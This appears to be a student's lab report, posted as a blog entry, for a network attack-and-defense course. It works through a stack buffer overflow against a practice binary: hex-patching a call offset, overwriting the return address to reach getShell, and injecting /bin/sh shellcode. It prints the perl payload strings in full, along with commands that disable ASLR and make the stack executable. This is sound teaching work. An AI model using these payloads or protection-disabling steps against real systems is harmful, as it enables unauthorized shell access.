20211916 2021-2022-2 《网络攻防实践》第九次作业

一、实践内容
1.1 前置知识

  • NOP
    计算机科学中,NOP或NOOP(No Operation或No Operation Performed的缩写,意为无操作)是汇编语言的一个指令,一系列编程语句,或网络传输协议中的表示不做任何有效操作的命令。
    NOP是用执行一条具有操作数,具有相同效果的指令;
    NOP指令通常用于控制时序的目的,强制内存对齐,防止流水线灾难,占据分支指令延迟),或是作为占位符以供程序的改善(或替代被移除的指令)。
    在x86的CPU中机器码为0x90(144)。

  • JNE
    jne是一个条件转移指令。当ZF=0,转至标号处执行。
    它的汇编指令机器码为“0x75”。

  • JE
    等于则跳转 同JZ JNE ;不等于则跳转 同JNZ
    机器码“0x74”

  • JMP
    立即数
    机器码是“0xE9”

  • CMP
    cmp (compare)指令进行比较两个操作数的大小
    CMP R0, R1 ; R0与R1比较,做R0-R1的操作。

  • bof攻击
    BoF的产生,很多时候是程序员在写程序的过程中,使用了本身没有边界自测能力的函数或方法,这类函数或者方法,被称为 Unbounded Functions(暂且意译成无边界函数/方法),因为程序员无法判断什么时候这些方法会停止读取或者写入内存。因此,如果没有很好的手动的边界检测代码,直接使用这些无边界方法,后果就是 BoF。
    BoF,Buffer Overflow 是所有溢出漏洞的统称。我们这篇文章在实践环节要讨论的,是基于栈的溢出(Stack Overflow)。
    我们来看一下BoF具体有哪些类型。

    • 栈溢出 Stack Overflow,基于栈的溢出,利用不安全方法,通过写入指定长度的数据到栈空间,从而做到对程序跳转地址的控制,执行恶意代码
    • 堆溢出 Heap Overflow,基于堆的溢出,高级话题,我都不知道怎么总结,以后碰到的时候再做特定的深入
    • 整数溢出 Integer Overflow,将 long 这样的整数存入 int 型的变量,造成的溢出
    • 字符编码溢出 Unicode Overflow,将 Unicode 字符存入 ASCII 类型的变量,造成的溢出
      不同的溢出,使用的技巧各不相同。

科学家以及硬件制造商已经就 BoF 出台了多项管控政策。我们在这里做一下简单的介绍。

  • Memory Canary Value
    Canary 是金丝雀,让我想起了 Android 中检测内存泄漏的工具叫 LeakCanary。为什么都喜欢用这个词?可能跟历史上用金丝雀在煤矿矿井中检测瓦斯泄露有关。说明金丝雀对于危险有一种警示的作用。
    因为大多数 BoF 攻击使用的方式是覆盖栈中的数据,所以 Memory Canary 的大致原理,就是栈中的某个位置,放入一段固定的数据。如果这段固定的数据被修改过,那么就判定程序收到了攻击,程序员可以采取相应的错误处理,退出程序。但是,Canary Value 无法完全解决问题,因为某些情况是,其值是可猜测的,有一些固定的字符,降低了 Canary Value 的熵(理解为随机性)。因此,攻击者只需要耐心尝试并找到 Canary Value,重新写入一样的值,即可绕过其保护机制。

  • NX & DEP
    BoF 攻击中,恶意代码会被植入到栈中或者内存的某一位置,让 CPU 去执行。因此,在硬件层面,NX(Linux) 和 DEP(WIndows)允许操作系统标识某一内存区域(尤其是栈)为 non-executable,意思是非执行区域,那么 CPU 就不会去执行这块内存区域的任何指令。但问题是,不是所有的程序都认这一点。有些程序,就是要把指令放到栈中去执行,而且还是很重要的程序。所以,这种情况还是给攻击者留下了漏洞。攻击者找到这些知名的必须在栈中执行指令的程序,利用他们固定的方法 return 地址,来执行恶意操作。这样的技巧,被称为 Return-Oriented Programming(ROP)。

  • ASLR
    为了解决上述 ROP 的问题,Address Space Layout Randomization (ASLR) 诞生。ASLR 可以随机指令在内存中的地址,让 ROP 无法找到准确的指令位置,从而防止攻击。又但是,ASLR 有同样的问题,不是所有的程序都很好的支持 ASLR,并且,ASLR 有时候还会愚蠢地将随机的地址保存到特定的位置,又给攻击者留下了操作空间。

1.2 实践目标

本次实践的对象是一个名为pwn1的linux可执行文件。

该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。

该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段,然后学习如何注入运行任何Shellcode。

三个实践内容如下:

1、手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。

2、利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。

3、注入一个自己制作的shellcode并运行这段shellcode。

1.3 实践要求

1、掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码

2、掌握反汇编与十六进制编程器

3、能正确修改机器指令改变程序执行流程

4、能正确构造payload进行bof攻击

二、实践过程

1、手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。

将云班课下载的pwn文件复制到kali中,注意不要使用快捷键复制粘贴,而是用鼠标键入的方式复制粘贴。

输入objdump -d pwn20211916tanli | more进行反汇编。

在0x80484b5这一行,可以看到call foo函数。

二进制分析:e8表示call指令,在机器指令中意为跳转,当本条指令执行时,机器会将后面的相对地址d7 ff ff ff加上eip寄存器中的值,得到的就是下一条应该跳转到的指令的地址,此处的d7 ff ff ff为补码,对应十进制的-41,下一条应该跳转的地址为EIP+d7ffffff=8048491,对应上面汇编指令call中的物理地址8048491处的foo函数。

要想使main函数调用getShell函数只要修改d7ffffff为getShell-80484ba对应的补码c3ffffff就行,使其替换d7ffffff即可。

利用vi pwn20211916tanli命令打开目标文件,用%! xxd命令,转换为十六进制。

利用/e8 d7命令查找要修改的内容,点击回车➡点击i,将 d7 修改为 c3;

利用 %!xxd -r 命令将十六进制转换为二进制并输入:wq保存退出。

验证一下,利用objdump -d pwn20211916tanli | more

然后输入./pwn20211916tanli 查看发现实验成功。

2、利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。

sudo apt-get update,在使用sudo apt-get install gdb,进行安装。

再查找漏洞,输入objdump -d pwn20211916tanli | more进行反汇编。

80484947的汇编指令表示堆栈的变量:0x38

8048497的汇编指令为lea -0x1c(%ebp),%eax,意思是,把这个-0x1c(%ebp)放到了eax,再把eax放到了esp。也就是把字符串放到了-0x1c(%ebp)的地址。

即为输入的字符串留下了1c的空间,即28个字符。这个是传给getstring。预留是28个空间,如果超过算上ebp的4位字符空间,我们即可得到从第32个字符开始覆盖eip的存储空间

我们要做的就是通过foo函数的Bof漏洞输入一段设计好的字符串覆盖掉80484ba,使得80484ba的值为0804847d,这样就会执行getshell函数。

使用gdb调试,gdb pwn20211916tanli,再输入r

我输入11112222333344445555666677778888总共32个值,程序显示错误,如下图。

确定了输入29-32这四个字符就会跑到eip。

输入perl -e 'print "1" x 32;print "\x7d\x84\x04\x08"' > input2021116tanli

输入xxd input20211916tanli进行验证

用cat和管道输入到执行函数中,(cat input20211916tanli; cat) | ./pwn20211916tanli,成功了。

3、注入一个自己制作的shellcode并运行这段shellcode。

安装execstack,apt-get install execstack。如果还是安装不了,再用sudo apt-get update

为了不与实验二的pwn重复,我用的默认文件名pwn1,而没有改名pwn20211916tanli,。

execstack -s pwn1 //设置堆栈可执行(默认是不可执行的)

execstack -q pwn1 //查询文件的堆栈是否可执行

more /proc/sys/kernel/randomize_va_space //查询地址空间是否随机化

echo "0" > /proc/sys/kernel/randomize_va_space //关闭地址随机化

先输入perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_shellcode查看最后四个字节在哪里

再打开另一个终端,输入(cat input_shellcode;cat) | ./pwn1

再输入ps -ef | grep pwn1查看进程id,再进入gdbattach 76576,attach的端口号注意看进程id。

gdb中输入disassemble foo设置断点来查看注入buf的内存地址。

然后(gdb) break *0x080484ae(此处的断点地址应为返回值ret的地址)

并在此时在另一个终端内按下回车。然后continue继续gdb。然后info r esp 看地址 再计算。

地址是0xffffd14c +0x00000004=0xffffd150

因此修改为perl -e 'print "A" x 32;print "\x50\xd1\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode

然后输入xxd input_shellcode

再输入(cat input_shellcode;cat) | ./pwn1,成功。

三、学习中遇到的问题及解决

  • 问题1:第一次下载gdb失败了,用的命令是sudo apt-get install gdb

  • 问题1解决方案:先使用sudo apt-get update,在使用sudo apt-get install gdb,下载成功。

  • 问题2:实践2,gdb调试后输入r运行时,出现了Detaching after fork from child process 4480

  • 问题2解决方案:重新使用一个未被实践的pwn包,不要用实践1用过的pwn包就行了。

  • 问题3:实践3,安装execstack时候出现错误。无法安装。

  • 问题3解决方案:sudo vim /etc/apt/sources.list,进入sources.list文件,

添加如下下载链接。

deb http://http.kali.org/kali kali-rolling main contrib non-free
deb http://http.kali.org/kali sana main non-free contrib
deb http://security.kali.org/kali-security sana/updates main contrib non-free
deb http://old.kali.org/kali moto main non-free contrib

四、实践总结

这次实验遇到的问题有点多,还好自己查阅资料,并且有同学的帮助,也就解决了。

posted @ 2022-05-14 20:55  banlichestnut  阅读(98)  评论(0编辑  收藏  举报